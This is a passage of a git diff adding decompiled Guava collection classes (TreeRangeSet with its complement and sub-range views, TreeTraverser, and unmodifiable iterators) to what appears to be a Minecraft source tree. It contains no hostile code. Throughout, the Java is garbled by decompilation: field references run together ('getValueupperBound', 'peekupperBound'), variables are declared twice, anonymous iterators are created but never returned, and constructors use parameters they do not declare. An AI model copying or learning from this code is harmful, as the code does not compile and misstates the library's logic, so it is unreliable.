+@GwtIncompatible("uses NavigableMap")
+public class TreeRangeSet<C extends Comparable<?>>
+  extends AbstractRangeSet<C>
+{
+  @VisibleForTesting
+  final NavigableMap<Cut<C>, Range<C>> rangesByLowerBound;
+  private transient Set<Range<C>> asRanges;
+  private transient RangeSet<C> complement;
+  
+  public static <C extends Comparable<?>> TreeRangeSet<C> create()
+  {
+    return new TreeRangeSet(new TreeMap());
+  }
+  
+
+
+  public static <C extends Comparable<?>> TreeRangeSet<C> create(RangeSet<C> rangeSet)
+  {
+    TreeRangeSet<C> result = create();
+    result.addAll(rangeSet);
+    return result;
+  }
+  
+  private TreeRangeSet(NavigableMap<Cut<C>, Range<C>> rangesByLowerCut) {
+    rangesByLowerBound = rangesByLowerCut;
+  }
+  
+
+
+  public Set<Range<C>> asRanges()
+  {
+    Set<Range<C>> result = asRanges;
+    return result == null ? (this.asRanges = new AsRanges()) : result;
+  }
+  
+  final class AsRanges extends ForwardingCollection<Range<C>> implements Set<Range<C>> {
+    AsRanges() {}
+    
+    protected Collection<Range<C>> delegate() { return rangesByLowerBound.values(); }
+    
+
+    public int hashCode()
+    {
+      return Sets.hashCodeImpl(this);
+    }
+    
+    public boolean equals(@Nullable Object o)
+    {
+      return Sets.equalsImpl(this, o);
+    }
+  }
+  
+  @Nullable
+  public Range<C> rangeContaining(C value)
+  {
+    Preconditions.checkNotNull(value);
+    Map.Entry<Cut<C>, Range<C>> floorEntry = rangesByLowerBound.floorEntry(Cut.belowValue(value));
+    if ((floorEntry != null) && (((Range)floorEntry.getValue()).contains(value))) {
+      return (Range)floorEntry.getValue();
+    }
+    
+    return null;
+  }
+  
+
+  public boolean encloses(Range<C> range)
+  {
+    Preconditions.checkNotNull(range);
+    Map.Entry<Cut<C>, Range<C>> floorEntry = rangesByLowerBound.floorEntry(lowerBound);
+    return (floorEntry != null) && (((Range)floorEntry.getValue()).encloses(range));
+  }
+  
+  @Nullable
+  private Range<C> rangeEnclosing(Range<C> range) {
+    Preconditions.checkNotNull(range);
+    Map.Entry<Cut<C>, Range<C>> floorEntry = rangesByLowerBound.floorEntry(lowerBound);
+    return (floorEntry != null) && (((Range)floorEntry.getValue()).encloses(range)) ? (Range)floorEntry.getValue() : null;
+  }
+  
+
+
+  public Range<C> span()
+  {
+    Map.Entry<Cut<C>, Range<C>> firstEntry = rangesByLowerBound.firstEntry();
+    Map.Entry<Cut<C>, Range<C>> lastEntry = rangesByLowerBound.lastEntry();
+    if (firstEntry == null) {
+      throw new NoSuchElementException();
+    }
+    return Range.create(getValuelowerBound, getValueupperBound);
+  }
+  
+  public void add(Range<C> rangeToAdd)
+  {
+    Preconditions.checkNotNull(rangeToAdd);
+    
+    if (rangeToAdd.isEmpty()) {
+      return;
+    }
+    
+
+
+    Cut<C> lbToAdd = lowerBound;
+    Cut<C> ubToAdd = upperBound;
+    
+    Map.Entry<Cut<C>, Range<C>> entryBelowLB = rangesByLowerBound.lowerEntry(lbToAdd);
+    if (entryBelowLB != null)
+    {
+      Range<C> rangeBelowLB = (Range)entryBelowLB.getValue();
+      if (upperBound.compareTo(lbToAdd) >= 0)
+      {
+        if (upperBound.compareTo(ubToAdd) >= 0)
+        {
+          ubToAdd = upperBound;
+        }
+        
+
+
+
+        lbToAdd = lowerBound;
+      }
+    }
+    
+    Map.Entry<Cut<C>, Range<C>> entryBelowUB = rangesByLowerBound.floorEntry(ubToAdd);
+    if (entryBelowUB != null)
+    {
+      Range<C> rangeBelowUB = (Range)entryBelowUB.getValue();
+      if (upperBound.compareTo(ubToAdd) >= 0)
+      {
+        ubToAdd = upperBound;
+      }
+    }
+    
+
+    rangesByLowerBound.subMap(lbToAdd, ubToAdd).clear();
+    
+    replaceRangeWithSameLowerBound(Range.create(lbToAdd, ubToAdd));
+  }
+  
+  public void remove(Range<C> rangeToRemove)
+  {
+    Preconditions.checkNotNull(rangeToRemove);
+    
+    if (rangeToRemove.isEmpty()) {
+      return;
+    }
+    
+
+
+
+    Map.Entry<Cut<C>, Range<C>> entryBelowLB = rangesByLowerBound.lowerEntry(lowerBound);
+    if (entryBelowLB != null)
+    {
+      Range<C> rangeBelowLB = (Range)entryBelowLB.getValue();
+      if (upperBound.compareTo(lowerBound) >= 0)
+      {
+        if ((rangeToRemove.hasUpperBound()) && (upperBound.compareTo(upperBound) >= 0))
+        {
+
+          replaceRangeWithSameLowerBound(Range.create(upperBound, upperBound));
+        }
+        
+        replaceRangeWithSameLowerBound(Range.create(lowerBound, lowerBound));
+      }
+    }
+    
+
+    Map.Entry<Cut<C>, Range<C>> entryBelowUB = rangesByLowerBound.floorEntry(upperBound);
+    if (entryBelowUB != null)
+    {
+      Range<C> rangeBelowUB = (Range)entryBelowUB.getValue();
+      if ((rangeToRemove.hasUpperBound()) && (upperBound.compareTo(upperBound) >= 0))
+      {
+
+        replaceRangeWithSameLowerBound(Range.create(upperBound, upperBound));
+      }
+    }
+    
+
+    rangesByLowerBound.subMap(lowerBound, upperBound).clear();
+  }
+  
+  private void replaceRangeWithSameLowerBound(Range<C> range) {
+    if (range.isEmpty()) {
+      rangesByLowerBound.remove(lowerBound);
+    } else {
+      rangesByLowerBound.put(lowerBound, range);
+    }
+  }
+  
+
+
+  public RangeSet<C> complement()
+  {
+    RangeSet<C> result = complement;
+    return result == null ? (this.complement = new Complement()) : result;
+  }
+  
+
+  @VisibleForTesting
+  static final class RangesByUpperBound<C extends Comparable<?>>
+    extends AbstractNavigableMap<Cut<C>, Range<C>>
+  {
+    private final NavigableMap<Cut<C>, Range<C>> rangesByLowerBound;
+    
+    private final Range<Cut<C>> upperBoundWindow;
+    
+
+    RangesByUpperBound(NavigableMap<Cut<C>, Range<C>> rangesByLowerBound)
+    {
+      this.rangesByLowerBound = rangesByLowerBound;
+      upperBoundWindow = Range.all();
+    }
+    
+    private RangesByUpperBound(NavigableMap<Cut<C>, Range<C>> rangesByLowerBound, Range<Cut<C>> upperBoundWindow)
+    {
+      this.rangesByLowerBound = rangesByLowerBound;
+      this.upperBoundWindow = upperBoundWindow;
+    }
+    
+    private NavigableMap<Cut<C>, Range<C>> subMap(Range<Cut<C>> window) {
+      if (window.isConnected(upperBoundWindow)) {
+        return new RangesByUpperBound(rangesByLowerBound, window.intersection(upperBoundWindow));
+      }
+      return ImmutableSortedMap.of();
+    }
+    
+
+
+    public NavigableMap<Cut<C>, Range<C>> subMap(Cut<C> fromKey, boolean fromInclusive, Cut<C> toKey, boolean toInclusive)
+    {
+      return subMap(Range.range(fromKey, BoundType.forBoolean(fromInclusive), toKey, BoundType.forBoolean(toInclusive)));
+    }
+    
+
+
+    public NavigableMap<Cut<C>, Range<C>> headMap(Cut<C> toKey, boolean inclusive)
+    {
+      return subMap(Range.upTo(toKey, BoundType.forBoolean(inclusive)));
+    }
+    
+    public NavigableMap<Cut<C>, Range<C>> tailMap(Cut<C> fromKey, boolean inclusive)
+    {
+      return subMap(Range.downTo(fromKey, BoundType.forBoolean(inclusive)));
+    }
+    
+    public Comparator<? super Cut<C>> comparator()
+    {
+      return Ordering.natural();
+    }
+    
+    public boolean containsKey(@Nullable Object key)
+    {
+      return get(key) != null;
+    }
+    
+    public Range<C> get(@Nullable Object key)
+    {
+      if ((key instanceof Cut)) {
+        try
+        {
+          Cut<C> cut = (Cut)key;
+          if (!upperBoundWindow.contains(cut)) {
+            return null;
+          }
+          Map.Entry<Cut<C>, Range<C>> candidate = rangesByLowerBound.lowerEntry(cut);
+          if ((candidate != null) && (getValueupperBound.equals(cut))) {
+            return (Range)candidate.getValue();
+          }
+        } catch (ClassCastException e) {
+          return null;
+        }
+      }
+      return null;
+    }
+    
+
+    Iterator<Map.Entry<Cut<C>, Range<C>>> entryIterator()
+    {
+      Iterator<Range<C>> backingItr;
+      
+      final Iterator<Range<C>> backingItr;
+      
+      if (!upperBoundWindow.hasLowerBound()) {
+        backingItr = rangesByLowerBound.values().iterator();
+      } else {
+        Map.Entry<Cut<C>, Range<C>> lowerEntry = rangesByLowerBound.lowerEntry(upperBoundWindow.lowerEndpoint());
+        Iterator<Range<C>> backingItr;
+        if (lowerEntry == null) {
+          backingItr = rangesByLowerBound.values().iterator(); } else { Iterator<Range<C>> backingItr;
+          if (upperBoundWindow.lowerBound.isLessThan(getValueupperBound)) {
+            backingItr = rangesByLowerBound.tailMap(lowerEntry.getKey(), true).values().iterator();
+          } else {
+            backingItr = rangesByLowerBound.tailMap(upperBoundWindow.lowerEndpoint(), true).values().iterator();
+          }
+        }
+      }
+      new AbstractIterator()
+      {
+        protected Map.Entry<Cut<C>, Range<C>> computeNext() {
+          if (!backingItr.hasNext()) {
+            return (Map.Entry)endOfData();
+          }
+          Range<C> range = (Range)backingItr.next();
+          if (upperBoundWindow.upperBound.isLessThan(upperBound)) {
+            return (Map.Entry)endOfData();
+          }
+          return Maps.immutableEntry(upperBound, range);
+        }
+      };
+    }
+    
+    Iterator<Map.Entry<Cut<C>, Range<C>>> descendingEntryIterator()
+    {
+      Collection<Range<C>> candidates;
+      Collection<Range<C>> candidates;
+      if (upperBoundWindow.hasUpperBound()) {
+        candidates = rangesByLowerBound.headMap(upperBoundWindow.upperEndpoint(), false).descendingMap().values();
+      }
+      else {
+        candidates = rangesByLowerBound.descendingMap().values();
+      }
+      final PeekingIterator<Range<C>> backingItr = Iterators.peekingIterator(candidates.iterator());
+      if ((backingItr.hasNext()) && (upperBoundWindow.upperBound.isLessThan(peekupperBound)))
+      {
+        backingItr.next();
+      }
+      new AbstractIterator()
+      {
+        protected Map.Entry<Cut<C>, Range<C>> computeNext() {
+          if (!backingItr.hasNext()) {
+            return (Map.Entry)endOfData();
+          }
+          Range<C> range = (Range)backingItr.next();
+          return upperBoundWindow.lowerBound.isLessThan(upperBound) ? Maps.immutableEntry(upperBound, range) : (Map.Entry)endOfData();
+        }
+      };
+    }
+    
+
+
+    public int size()
+    {
+      if (upperBoundWindow.equals(Range.all())) {
+        return rangesByLowerBound.size();
+      }
+      return Iterators.size(entryIterator());
+    }
+    
+    public boolean isEmpty()
+    {
+      return !entryIterator().hasNext() ? true : upperBoundWindow.equals(Range.all()) ? rangesByLowerBound.isEmpty() : false;
+    }
+  }
+  
+
+
+  private static final class ComplementRangesByLowerBound<C extends Comparable<?>>
+    extends AbstractNavigableMap<Cut<C>, Range<C>>
+  {
+    private final NavigableMap<Cut<C>, Range<C>> positiveRangesByLowerBound;
+    
+
+    private final NavigableMap<Cut<C>, Range<C>> positiveRangesByUpperBound;
+    
+    private final Range<Cut<C>> complementLowerBoundWindow;
+    
+
+    ComplementRangesByLowerBound(NavigableMap<Cut<C>, Range<C>> positiveRangesByLowerBound)
+    {
+      this(positiveRangesByLowerBound, Range.all());
+    }
+    
+    private ComplementRangesByLowerBound(NavigableMap<Cut<C>, Range<C>> positiveRangesByLowerBound, Range<Cut<C>> window)
+    {
+      this.positiveRangesByLowerBound = positiveRangesByLowerBound;
+      positiveRangesByUpperBound = new TreeRangeSet.RangesByUpperBound(positiveRangesByLowerBound);
+      complementLowerBoundWindow = window;
+    }
+    
+    private NavigableMap<Cut<C>, Range<C>> subMap(Range<Cut<C>> subWindow) {
+      if (!complementLowerBoundWindow.isConnected(subWindow)) {
+        return ImmutableSortedMap.of();
+      }
+      subWindow = subWindow.intersection(complementLowerBoundWindow);
+      return new ComplementRangesByLowerBound(positiveRangesByLowerBound, subWindow);
+    }
+    
+
+
+    public NavigableMap<Cut<C>, Range<C>> subMap(Cut<C> fromKey, boolean fromInclusive, Cut<C> toKey, boolean toInclusive)
+    {
+      return subMap(Range.range(fromKey, BoundType.forBoolean(fromInclusive), toKey, BoundType.forBoolean(toInclusive)));
+    }
+    
+
+
+    public NavigableMap<Cut<C>, Range<C>> headMap(Cut<C> toKey, boolean inclusive)
+    {
+      return subMap(Range.upTo(toKey, BoundType.forBoolean(inclusive)));
+    }
+    
+    public NavigableMap<Cut<C>, Range<C>> tailMap(Cut<C> fromKey, boolean inclusive)
+    {
+      return subMap(Range.downTo(fromKey, BoundType.forBoolean(inclusive)));
+    }
+    
+    public Comparator<? super Cut<C>> comparator()
+    {
+      return Ordering.natural();
+    }
+    
+
+
+
+    Iterator<Map.Entry<Cut<C>, Range<C>>> entryIterator()
+    {
+      Collection<Range<C>> positiveRanges;
+      
+
+
+      Collection<Range<C>> positiveRanges;
+      
+
+      if (complementLowerBoundWindow.hasLowerBound()) {
+        positiveRanges = positiveRangesByUpperBound.tailMap(complementLowerBoundWindow.lowerEndpoint(), complementLowerBoundWindow.lowerBoundType() == BoundType.CLOSED).values();
+      }
+      else
+      {
+        positiveRanges = positiveRangesByUpperBound.values();
+      }
+      final PeekingIterator<Range<C>> positiveItr = Iterators.peekingIterator(positiveRanges.iterator());
+      
+      Cut<C> firstComplementRangeLowerBound;
+      if ((complementLowerBoundWindow.contains(Cut.belowAll())) && ((!positiveItr.hasNext()) || (peeklowerBound != Cut.belowAll())))
+      {
+        firstComplementRangeLowerBound = Cut.belowAll(); } else { Cut<C> firstComplementRangeLowerBound;
+        if (positiveItr.hasNext()) {
+          firstComplementRangeLowerBound = nextupperBound;
+        } else
+          return Iterators.emptyIterator(); }
+      final Cut<C> firstComplementRangeLowerBound;
+      new AbstractIterator() {
+        Cut<C> nextComplementRangeLowerBound = firstComplementRangeLowerBound;
+        
+        protected Map.Entry<Cut<C>, Range<C>> computeNext()
+        {
+          if ((complementLowerBoundWindow.upperBound.isLessThan(nextComplementRangeLowerBound)) || (nextComplementRangeLowerBound == Cut.aboveAll()))
+          {
+            return (Map.Entry)endOfData();
+          }
+          Range<C> negativeRange;
+          if (positiveItr.hasNext()) {
+            Range<C> positiveRange = (Range)positiveItr.next();
+            Range<C> negativeRange = Range.create(nextComplementRangeLowerBound, lowerBound);
+            nextComplementRangeLowerBound = upperBound;
+          } else {
+            negativeRange = Range.create(nextComplementRangeLowerBound, Cut.aboveAll());
+            nextComplementRangeLowerBound = Cut.aboveAll();
+          }
+          return Maps.immutableEntry(lowerBound, negativeRange);
+        }
+      };
+    }
+    
+
+
+
+
+
+
+
+
+
+    Iterator<Map.Entry<Cut<C>, Range<C>>> descendingEntryIterator()
+    {
+      Cut<C> startingPoint = complementLowerBoundWindow.hasUpperBound() ? (Cut)complementLowerBoundWindow.upperEndpoint() : Cut.aboveAll();
+      
+
+      boolean inclusive = (complementLowerBoundWindow.hasUpperBound()) && (complementLowerBoundWindow.upperBoundType() == BoundType.CLOSED);
+      
+      final PeekingIterator<Range<C>> positiveItr = Iterators.peekingIterator(positiveRangesByUpperBound.headMap(startingPoint, inclusive).descendingMap().values().iterator());
+      
+      Cut<C> cut;
+      Cut<C> cut;
+      if (positiveItr.hasNext()) {
+        cut = peekupperBound == Cut.aboveAll() ? nextlowerBound : (Cut)positiveRangesByLowerBound.higherKey(peekupperBound);
+      }
+      else {
+        if ((!complementLowerBoundWindow.contains(Cut.belowAll())) || (positiveRangesByLowerBound.containsKey(Cut.belowAll())))
+        {
+          return Iterators.emptyIterator();
+        }
+        cut = (Cut)positiveRangesByLowerBound.higherKey(Cut.belowAll());
+      }
+      final Cut<C> firstComplementRangeUpperBound = (Cut)Objects.firstNonNull(cut, Cut.aboveAll());
+      new AbstractIterator() {
+        Cut<C> nextComplementRangeUpperBound = firstComplementRangeUpperBound;
+        
+        protected Map.Entry<Cut<C>, Range<C>> computeNext()
+        {
+          if (nextComplementRangeUpperBound == Cut.belowAll())
+            return (Map.Entry)endOfData();
+          if (positiveItr.hasNext()) {
+            Range<C> positiveRange = (Range)positiveItr.next();
+            Range<C> negativeRange = Range.create(upperBound, nextComplementRangeUpperBound);
+            
+            nextComplementRangeUpperBound = lowerBound;
+            if (complementLowerBoundWindow.lowerBound.isLessThan(lowerBound)) {
+              return Maps.immutableEntry(lowerBound, negativeRange);
+            }
+          } else if (complementLowerBoundWindow.lowerBound.isLessThan(Cut.belowAll())) {
+            Range<C> negativeRange = Range.create(Cut.belowAll(), nextComplementRangeUpperBound);
+            
+            nextComplementRangeUpperBound = Cut.belowAll();
+            return Maps.immutableEntry(Cut.belowAll(), negativeRange);
+          }
+          return (Map.Entry)endOfData();
+        }
+      };
+    }
+    
+    public int size()
+    {
+      return Iterators.size(entryIterator());
+    }
+    
+    @Nullable
+    public Range<C> get(Object key)
+    {
+      if ((key instanceof Cut)) {
+        try
+        {
+          Cut<C> cut = (Cut)key;
+          
+          Map.Entry<Cut<C>, Range<C>> firstEntry = tailMap(cut, true).firstEntry();
+          if ((firstEntry != null) && (((Cut)firstEntry.getKey()).equals(cut))) {
+            return (Range)firstEntry.getValue();
+          }
+        } catch (ClassCastException e) {
+          return null;
+        }
+      }
+      return null;
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return get(key) != null;
+    }
+  }
+  
+  private final class Complement extends TreeRangeSet<C> {
+    Complement() {
+      super(null);
+    }
+    
+    public void add(Range<C> rangeToAdd)
+    {
+      TreeRangeSet.this.remove(rangeToAdd);
+    }
+    
+    public void remove(Range<C> rangeToRemove)
+    {
+      TreeRangeSet.this.add(rangeToRemove);
+    }
+    
+    public boolean contains(C value)
+    {
+      return !TreeRangeSet.this.contains(value);
+    }
+    
+    public RangeSet<C> complement()
+    {
+      return TreeRangeSet.this;
+    }
+  }
+  
+
+
+  private static final class SubRangeSetRangesByLowerBound<C extends Comparable<?>>
+    extends AbstractNavigableMap<Cut<C>, Range<C>>
+  {
+    private final Range<Cut<C>> lowerBoundWindow;
+    
+
+    private final Range<C> restriction;
+    
+
+    private final NavigableMap<Cut<C>, Range<C>> rangesByLowerBound;
+    
+
+    private final NavigableMap<Cut<C>, Range<C>> rangesByUpperBound;
+    
+
+    private SubRangeSetRangesByLowerBound(Range<Cut<C>> lowerBoundWindow, Range<C> restriction, NavigableMap<Cut<C>, Range<C>> rangesByLowerBound)
+    {
+      this.lowerBoundWindow = ((Range)Preconditions.checkNotNull(lowerBoundWindow));
+      this.restriction = ((Range)Preconditions.checkNotNull(restriction));
+      this.rangesByLowerBound = ((NavigableMap)Preconditions.checkNotNull(rangesByLowerBound));
+      rangesByUpperBound = new TreeRangeSet.RangesByUpperBound(rangesByLowerBound);
+    }
+    
+    private NavigableMap<Cut<C>, Range<C>> subMap(Range<Cut<C>> window) {
+      if (!window.isConnected(lowerBoundWindow)) {
+        return ImmutableSortedMap.of();
+      }
+      return new SubRangeSetRangesByLowerBound(lowerBoundWindow.intersection(window), restriction, rangesByLowerBound);
+    }
+    
+
+
+
+    public NavigableMap<Cut<C>, Range<C>> subMap(Cut<C> fromKey, boolean fromInclusive, Cut<C> toKey, boolean toInclusive)
+    {
+      return subMap(Range.range(fromKey, BoundType.forBoolean(fromInclusive), toKey, BoundType.forBoolean(toInclusive)));
+    }
+    
+
+    public NavigableMap<Cut<C>, Range<C>> headMap(Cut<C> toKey, boolean inclusive)
+    {
+      return subMap(Range.upTo(toKey, BoundType.forBoolean(inclusive)));
+    }
+    
+    public NavigableMap<Cut<C>, Range<C>> tailMap(Cut<C> fromKey, boolean inclusive)
+    {
+      return subMap(Range.downTo(fromKey, BoundType.forBoolean(inclusive)));
+    }
+    
+    public Comparator<? super Cut<C>> comparator()
+    {
+      return Ordering.natural();
+    }
+    
+    public boolean containsKey(@Nullable Object key)
+    {
+      return get(key) != null;
+    }
+    
+    @Nullable
+    public Range<C> get(@Nullable Object key)
+    {
+      if ((key instanceof Cut)) {
+        try
+        {
+          Cut<C> cut = (Cut)key;
+          if ((!lowerBoundWindow.contains(cut)) || (cut.compareTo(restriction.lowerBound) < 0) || (cut.compareTo(restriction.upperBound) >= 0))
+          {
+            return null; }
+          if (cut.equals(restriction.lowerBound))
+          {
+            Range<C> candidate = (Range)Maps.valueOrNull(rangesByLowerBound.floorEntry(cut));
+            if ((candidate != null) && (upperBound.compareTo(restriction.lowerBound) > 0)) {
+              return candidate.intersection(restriction);
+            }
+          } else {
+            Range<C> result = (Range)rangesByLowerBound.get(cut);
+            if (result != null) {
+              return result.intersection(restriction);
+            }
+          }
+        } catch (ClassCastException e) {
+          return null;
+        }
+      }
+      return null;
+    }
+    
+    Iterator<Map.Entry<Cut<C>, Range<C>>> entryIterator()
+    {
+      if (restriction.isEmpty()) {
+        return Iterators.emptyIterator();
+      }
+      
+      if (lowerBoundWindow.upperBound.isLessThan(restriction.lowerBound))
+        return Iterators.emptyIterator();
+      Iterator<Range<C>> completeRangeItr; final Iterator<Range<C>> completeRangeItr; if (lowerBoundWindow.lowerBound.isLessThan(restriction.lowerBound))
+      {
+        completeRangeItr = rangesByUpperBound.tailMap(restriction.lowerBound, false).values().iterator();
+      }
+      else
+      {
+        completeRangeItr = rangesByLowerBound.tailMap(lowerBoundWindow.lowerBound.endpoint(), lowerBoundWindow.lowerBoundType() == BoundType.CLOSED).values().iterator();
+      }
+      
+      final Cut<Cut<C>> upperBoundOnLowerBounds = (Cut)Ordering.natural().min(lowerBoundWindow.upperBound, Cut.belowValue(restriction.upperBound));
+      
+      new AbstractIterator()
+      {
+        protected Map.Entry<Cut<C>, Range<C>> computeNext() {
+          if (!completeRangeItr.hasNext()) {
+            return (Map.Entry)endOfData();
+          }
+          Range<C> nextRange = (Range)completeRangeItr.next();
+          if (upperBoundOnLowerBounds.isLessThan(lowerBound)) {
+            return (Map.Entry)endOfData();
+          }
+          nextRange = nextRange.intersection(restriction);
+          return Maps.immutableEntry(lowerBound, nextRange);
+        }
+      };
+    }
+    
+
+    Iterator<Map.Entry<Cut<C>, Range<C>>> descendingEntryIterator()
+    {
+      if (restriction.isEmpty()) {
+        return Iterators.emptyIterator();
+      }
+      Cut<Cut<C>> upperBoundOnLowerBounds = (Cut)Ordering.natural().min(lowerBoundWindow.upperBound, Cut.belowValue(restriction.upperBound));
+      
+      final Iterator<Range<C>> completeRangeItr = rangesByLowerBound.headMap(upperBoundOnLowerBounds.endpoint(), upperBoundOnLowerBounds.typeAsUpperBound() == BoundType.CLOSED).descendingMap().values().iterator();
+      
+
+
+      new AbstractIterator()
+      {
+        protected Map.Entry<Cut<C>, Range<C>> computeNext() {
+          if (!completeRangeItr.hasNext()) {
+            return (Map.Entry)endOfData();
+          }
+          Range<C> nextRange = (Range)completeRangeItr.next();
+          if (restriction.lowerBound.compareTo(upperBound) >= 0) {
+            return (Map.Entry)endOfData();
+          }
+          nextRange = nextRange.intersection(restriction);
+          if (lowerBoundWindow.contains(lowerBound)) {
+            return Maps.immutableEntry(lowerBound, nextRange);
+          }
+          return (Map.Entry)endOfData();
+        }
+      };
+    }
+    
+
+    public int size()
+    {
+      return Iterators.size(entryIterator());
+    }
+  }
+  
+  public RangeSet<C> subRangeSet(Range<C> view)
+  {
+    return view.equals(Range.all()) ? this : new SubRangeSet(view);
+  }
+  
+  private final class SubRangeSet extends TreeRangeSet<C> {
+    private final Range<C> restriction;
+    
+    SubRangeSet() {
+      super(null);
+      
+      this.restriction = restriction;
+    }
+    
+    public boolean encloses(Range<C> range)
+    {
+      if ((!restriction.isEmpty()) && (restriction.encloses(range))) {
+        Range<C> enclosing = TreeRangeSet.this.rangeEnclosing(range);
+        return (enclosing != null) && (!enclosing.intersection(restriction).isEmpty());
+      }
+      return false;
+    }
+    
+    @Nullable
+    public Range<C> rangeContaining(C value)
+    {
+      if (!restriction.contains(value)) {
+        return null;
+      }
+      Range<C> result = TreeRangeSet.this.rangeContaining(value);
+      return result == null ? null : result.intersection(restriction);
+    }
+    
+    public void add(Range<C> rangeToAdd)
+    {
+      Preconditions.checkArgument(restriction.encloses(rangeToAdd), "Cannot add range %s to subRangeSet(%s)", new Object[] { rangeToAdd, restriction });
+      
+      super.add(rangeToAdd);
+    }
+    
+    public void remove(Range<C> rangeToRemove)
+    {
+      if (rangeToRemove.isConnected(restriction)) {
+        TreeRangeSet.this.remove(rangeToRemove.intersection(restriction));
+      }
+    }
+    
+    public boolean contains(C value)
+    {
+      return (restriction.contains(value)) && (TreeRangeSet.this.contains(value));
+    }
+    
+    public void clear()
+    {
+      TreeRangeSet.this.remove(restriction);
+    }
+    
+    public RangeSet<C> subRangeSet(Range<C> view)
+    {
+      if (view.encloses(restriction))
+        return this;
+      if (view.isConnected(restriction)) {
+        return new SubRangeSet(this, restriction.intersection(view));
+      }
+      return ImmutableRangeSet.of();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/TreeTraverser.java b/src/minecraft/com/google/common/collect/TreeTraverser.java
new file mode 100644
index 0000000..42fc146
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/TreeTraverser.java
@@ -0,0 +1,215 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.ArrayDeque;
+import java.util.Deque;
+import java.util.Iterator;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible(emulated=true)
+public abstract class TreeTraverser<T>
+{
+  public TreeTraverser() {}
+  
+  public abstract Iterable<T> children(T paramT);
+  
+  public final FluentIterable<T> preOrderTraversal(final T root)
+  {
+    Preconditions.checkNotNull(root);
+    new FluentIterable()
+    {
+      public UnmodifiableIterator<T> iterator() {
+        return preOrderIterator(root);
+      }
+    };
+  }
+  
+  UnmodifiableIterator<T> preOrderIterator(T root)
+  {
+    return new PreOrderIterator(root);
+  }
+  
+  private final class PreOrderIterator extends UnmodifiableIterator<T> {
+    private final Deque<Iterator<T>> stack;
+    
+    PreOrderIterator() {
+      stack = new ArrayDeque();
+      stack.addLast(Iterators.singletonIterator(Preconditions.checkNotNull(root)));
+    }
+    
+    public boolean hasNext()
+    {
+      return !stack.isEmpty();
+    }
+    
+    public T next()
+    {
+      Iterator<T> itr = (Iterator)stack.getLast();
+      T result = Preconditions.checkNotNull(itr.next());
+      if (!itr.hasNext()) {
+        stack.removeLast();
+      }
+      Iterator<T> childItr = children(result).iterator();
+      if (childItr.hasNext()) {
+        stack.addLast(childItr);
+      }
+      return result;
+    }
+  }
+  
+
+
+
+
+
+
+  public final FluentIterable<T> postOrderTraversal(final T root)
+  {
+    Preconditions.checkNotNull(root);
+    new FluentIterable()
+    {
+      public UnmodifiableIterator<T> iterator() {
+        return postOrderIterator(root);
+      }
+    };
+  }
+  
+  UnmodifiableIterator<T> postOrderIterator(T root)
+  {
+    return new PostOrderIterator(root);
+  }
+  
+  private static final class PostOrderNode<T> {
+    final T root;
+    final Iterator<T> childIterator;
+    
+    PostOrderNode(T root, Iterator<T> childIterator) {
+      this.root = Preconditions.checkNotNull(root);
+      this.childIterator = ((Iterator)Preconditions.checkNotNull(childIterator));
+    }
+  }
+  
+  private final class PostOrderIterator extends AbstractIterator<T> {
+    private final ArrayDeque<TreeTraverser.PostOrderNode<T>> stack;
+    
+    PostOrderIterator() {
+      stack = new ArrayDeque();
+      stack.addLast(expand(root));
+    }
+    
+    protected T computeNext()
+    {
+      while (!stack.isEmpty()) {
+        TreeTraverser.PostOrderNode<T> top = (TreeTraverser.PostOrderNode)stack.getLast();
+        if (childIterator.hasNext()) {
+          T child = childIterator.next();
+          stack.addLast(expand(child));
+        } else {
+          stack.removeLast();
+          return root;
+        }
+      }
+      return endOfData();
+    }
+    
+    private TreeTraverser.PostOrderNode<T> expand(T t) {
+      return new TreeTraverser.PostOrderNode(t, children(t).iterator());
+    }
+  }
+  
+
+
+
+
+
+
+  public final FluentIterable<T> breadthFirstTraversal(final T root)
+  {
+    Preconditions.checkNotNull(root);
+    new FluentIterable()
+    {
+      public UnmodifiableIterator<T> iterator() {
+        return new TreeTraverser.BreadthFirstIterator(TreeTraverser.this, root);
+      }
+    };
+  }
+  
+  private final class BreadthFirstIterator extends UnmodifiableIterator<T> implements PeekingIterator<T>
+  {
+    private final Queue<T> queue;
+    
+    BreadthFirstIterator() {
+      queue = new ArrayDeque();
+      queue.add(root);
+    }
+    
+    public boolean hasNext()
+    {
+      return !queue.isEmpty();
+    }
+    
+    public T peek()
+    {
+      return queue.element();
+    }
+    
+    public T next()
+    {
+      T result = queue.remove();
+      Iterables.addAll(queue, children(result));
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/UnmodifiableIterator.java b/src/minecraft/com/google/common/collect/UnmodifiableIterator.java
new file mode 100644
index 0000000..4557195
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/UnmodifiableIterator.java
@@ -0,0 +1,45 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class UnmodifiableIterator<E>
+  implements Iterator<E>
+{
+  protected UnmodifiableIterator() {}
+  
+  @Deprecated
+  public final void remove()
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/UnmodifiableListIterator.java b/src/minecraft/com/google/common/collect/UnmodifiableListIterator.java
new file mode 100644
index 0000000..7edbd35
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/UnmodifiableListIterator.java
@@ -0,0 +1,55 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.ListIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class UnmodifiableListIterator<E>
+  extends UnmodifiableIterator<E>
+  implements ListIterator<E>
+{
+  protected UnmodifiableListIterator() {}
+  
+  @Deprecated
+  public final void add(E e)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+  @Deprecated
+  public final void set(E e)
+  {
